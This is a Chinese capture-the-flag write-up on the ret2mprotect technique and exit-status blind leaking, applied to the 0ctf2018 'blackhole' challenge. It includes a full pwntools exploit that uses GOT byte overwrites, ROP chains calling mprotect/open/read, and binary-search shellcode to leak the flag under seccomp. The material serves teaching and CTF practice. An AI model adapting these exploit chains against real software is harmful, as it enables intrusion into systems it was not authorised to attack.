ret2mprotect
该技术是利用 mprotect 来修改段权限,从而制造可写可执行的数据段,最终执行 shellcode 的手段。
mprotect 的用法如下:
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
/*
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。
len:被修改保护属性区域的长度, 最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot:可以取以下几个值,并可以用“|”将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。
返回值:0;成功,-1;失败(并且errno被设置)*/
其中,段权限与 linux 中的权限完全相同(比如 7 代表 111,即可写可读可执行)
当我们在程序中无法找到合适的位置放置 shellcode,就可以使用该函数来手动创造一个段,可以说是非常自由了。
盲注
在无法获取程序输出的情况下,通过对程序异常或者正常退出的检测,我们可以泄露 1 bit
信息(正常/异常),通过多次尝试,这些信息可以通过译码转换成 flag。
目前流行的几种盲注方式
暴力枚举
每次都构造 shellcode 判断目标字节是否与期望的字节相等。
代码量最小,不过效率较低,最高每个字节要尝试 2^8 次
二分法
为 shellcode 设置三个分支,> = <
,根据不同的情况分别将汇编替换为 ja, je, jb,快速缩小搜索范围。
代码量比较大,还要写二分算法,不过效率非常高,可达 log_2(2^8) = 8 次 (实际上还会高一些,因为每次的比较涉及到大小比较和相等比较)
逐个泄露字节
直接构造 shellcode 来泄露每个字节的 8 bits
,这种方法应该是最快捷,代码量适中,且效率非常高的方法
lea rdi, flag
mov rsi, 0x1
mov al, byte ptr [rdi+rsi] # 取字节
rsh al, X # 右移X位
cmp al, 0x1
je normal # 比较,如果最低位为1,则正常退出,否则异常退出
exit_not_normal()
normal:
exit_normal()
0ctf2018 blackhole
程序开启了seccomp,只允许 read, mprotect, open, exit,这意味着我们不能泄露任何信息。
题目是一个很简单的栈溢出,很方便构造ROP。
问题是,程序没有 leak,不能泄露任意地址的数据,但为什么题目要提供 libc 呢?
原来,这个 alarm 函数,里面的汇编代码就只有一个设置 syscall 参数,和一个 syscall,我们通过修改 got 表的第一个字节,就能将 alarm_got 直接指向 syscall。
在 libc 中,虽然函数的绝对地址在变,但是它的最后
24 bits
是不变的,因为页表的装载机制决定了它不能对比 0x1000 尺度更小的地址
进行修改
在寻找了一遍 ROP 之后,并没有发现 pop_rdi pop_rsi 的 gadget,这时候得祭出 init
函数了,通过这个函数可以一把梭地设置参数和 rip。
这个地方要注意一下 RBP = 1,不然后面的 jnz 是绕不过的。
接下来的事情就比较简单了,构造 ROP 调用 mprotect 修改段权限并且读入flag,通过刚刚的盲注手段逐步泄露flag的每一个字节。
由于本题没有其它任何的泄露方式,正常退出和异常退出在 pwntools 看来都是一样的,所以可以使用 基于IO的盲注
,即判断程序在我们提交输入之后,是否还能继续读字节,如果程序退出了,没有接受我们输入的其他垃圾数据,那么便获取到了 0/1 信息。
我在 shellcode 中构造了一个循环,对于两种不同的信息
- 会直接退出程序
- 会循环调用 read(),直到 alarm 退出
exp 使用的是基于二分法的盲注,所以效率稍低。
exp
from pwn import *
import sys
import time
#context.log_level = 'DEBUG'
context.terminal = ["open-wsl.exe","-c"]
context.arch = 'amd64'
def execute_shellcode(p, shellcode):
read_got = 0x601048
alarm_got = 0x601040
# ------------------------------------- change alarm_got
payload1 = b'a'*0x20 + p64(1)
payload1 += p64(0x400A4C) # pop r12,r13,r14,r15
payload1 += p64(read_got) + p64(0x1) + p64(alarm_got) + p64(0)
payload1 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload1 += p64(0)*7 + p64(0x4009A7)
payload1 = payload1.ljust(0x100, b'\xff')
p.send(payload1) # change alarm_got
p.send(b'\x85') # change alarm_got
# ------------------------------------- modify priority of bss segment
data_s = 0x601058 # a place to store data
syscall_num = 10
payload2 = b'a'*0x20 + p64(1)
payload2 += p64(0x400A4C) # pop r12,r13,r14,r15
# mprotect(bss, bss_len, prot)
# rdi = bss, rsi = bss_len, rdx = prot
# below is equivalent to pop rip, rdx, rsi, edi
payload2 += p64(read_got) + p64(syscall_num) + p64(data_s) + p64(0)
payload2 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload2 += p64(0)*2 + p64(1) + p64(0)*4 + p64(0x400A4C)
payload2 += p64(alarm_got) + p64(7) + p64(0x1000) + p64(0x400000)
payload2 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload2 += p64(0)*7 + p64(0x4009A7)
payload2 = payload2.ljust(0x100, b'\xff')
p.send(payload2)
p.send(b'a'*syscall_num)
# ------------------------------------- write 'flag' into bss
string_data = 0x400BA0 # a place to store string
flag_string = b"flag\x00"
string_len = len(flag_string)
payload3 = b'a'*0x20 + p64(1)
payload3 += p64(0x400A4C) # pop r12,r13,r14,r15
# below is equivalent to pop rip, rdx, rsi, edi
payload3 += p64(read_got) + p64(string_len) + p64(string_data) + p64(0)
payload3 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload3 += p64(0)*7 + p64(0x4009A7)
payload3 = payload3.ljust(0x100, b'\xff')
p.send(payload3)
p.send(flag_string)
# ------------------------------------- open flag
data_s = 0x601058
string_data = 0x400BA0 # 'flag'
syscall_num = 2 # sys_open
payload4 = b'a'*0x20 + p64(1)
payload4 += p64(0x400A4C) # pop r12,r13,r14,r15
# open(filename, flags, mode)
# rdi = filename, rsi = flags, rdx = mode
payload4 += p64(read_got) + p64(syscall_num) + p64(data_s) + p64(0)
payload4 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload4 += p64(0)*2 + p64(1) + p64(0)*4 + p64(0x400A4C)
payload4 += p64(alarm_got) + p64(0) + p64(0) + p64(string_data)
payload4 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload4 += p64(0)*7 + p64(0x4009A7)
payload4 = payload4.ljust(0x100, b'\xff')
p.send(payload4)
p.send(b'a'*syscall_num)
# ------------------------------------- read flag
flag_data = 0x400A74 # a place to store flag data
payload5 = b'a'*0x20 + p64(1)
payload5 += p64(0x400A4C) # pop r12,r13,r14,r15
# below is equivalent to pop rip, rdx, rsi, edi
payload5 += p64(read_got) + p64(0x50) + p64(flag_data) + p64(3)
payload5 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload5 += p64(0)*7 + p64(0x4009A7)
payload5 = payload5.ljust(0x100, b'\xff')
p.send(payload5)
# ------------------------------------- write shellcode
eh_frame = 0x400AB8 # a place to store shellcode
payload6 = b'a'*0x20 + p64(1)
payload6 += p64(0x400A4C) # pop r12,r13,r14,r15
# below is equivalent to pop rip, rdx, rsi, edi
payload6 += p64(read_got) + p64(len(shellcode)+0x10) + p64(eh_frame) + p64(0)
payload6 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload6 += p64(0)*7 + p64(0x4009A7)
payload6 = payload6.ljust(0x100, b'\xff')
p.send(payload6)
p.send(p64(eh_frame+8) + p64(eh_frame+0x10) + shellcode)
# ------------------------------------- execute shellcode
payload7 = b'a'*0x20 + p64(1)
payload7 += p64(0x400A4C) # pop r12,r13,r14,r15
# below is equivalent to pop rip, rdx, rsi, edi
payload7 += p64(eh_frame+8) + p64(0)*3
payload7 += p64(0x400A30) # mov rdx<-r13 rsi<-r14 edi<-r15d
payload7 += p64(0)*7 + p64(0x4009A7)
payload7 = payload7.ljust(0x100, b'\xff')
#gdb.attach(p, 'b *%s\nc' % (eh_frame+0x10))
p.send(payload7)
#p.interactive()
def make_shellcode(byte, op, guessed_int):
flag_data = 0x400A74
shellcode = asm("mov rax, %s" % (hex(flag_data+byte)))
shellcode += asm("""
jmp compare
fuck:
mov rax, 0
mov rdi, 0
mov rsi, 0x400000
mov rdx, 0x300
syscall
jmp fuck
compare:
mov bl, byte ptr [rax]
mov rax, %s
cmp bl, al
%s fuck
""" % (hex(guessed_int), op))
shellcode += asm(shellcraft.amd64.linux.exit(0))
return shellcode
def judge(byte, operator, guessed_int):
if operator == '<':
shellcode = make_shellcode(byte, 'jb', guessed_int) # jump if below
elif operator == '>':
shellcode = make_shellcode(byte, 'ja', guessed_int) # jump if above
elif operator == '==':
shellcode = make_shellcode(byte, 'je', guessed_int) # jump if equal
if(len(sys.argv) == 1):
p = process('./blackhole')
else:
p = remote('',)
execute_shellcode(p, shellcode)
#pause()
time.sleep(0.05)
try:
p.sendline("fuck")
p.close()
info("flag[%d] %s %d" % (byte, operator, guessed_int))
return True
except:
info("flag[%d] not %s %d" % (byte, operator, guessed_int))
return False # if there
def guess(byte):
l = 1
r = 255
while(l <= r):
mid = (l + r) // 2
if judge(byte, '==', mid):
success("flag[%d] == %d" % (byte, mid))
return chr(mid)
elif judge(byte, '>', mid):
l = mid + 1
else:
r = mid - 1
def main():
# flag{even_black_holes_leak_information_by_Hawking_radiation}
flag = ""
i = len(flag)
ret = 'a'
while ret != '}':
success("start guessing byte %d ----------------------------------> %s" % (i, flag))
ret = guess(i)
flag += ret
i += 1
print(flag)
if __name__ == '__main__':
main()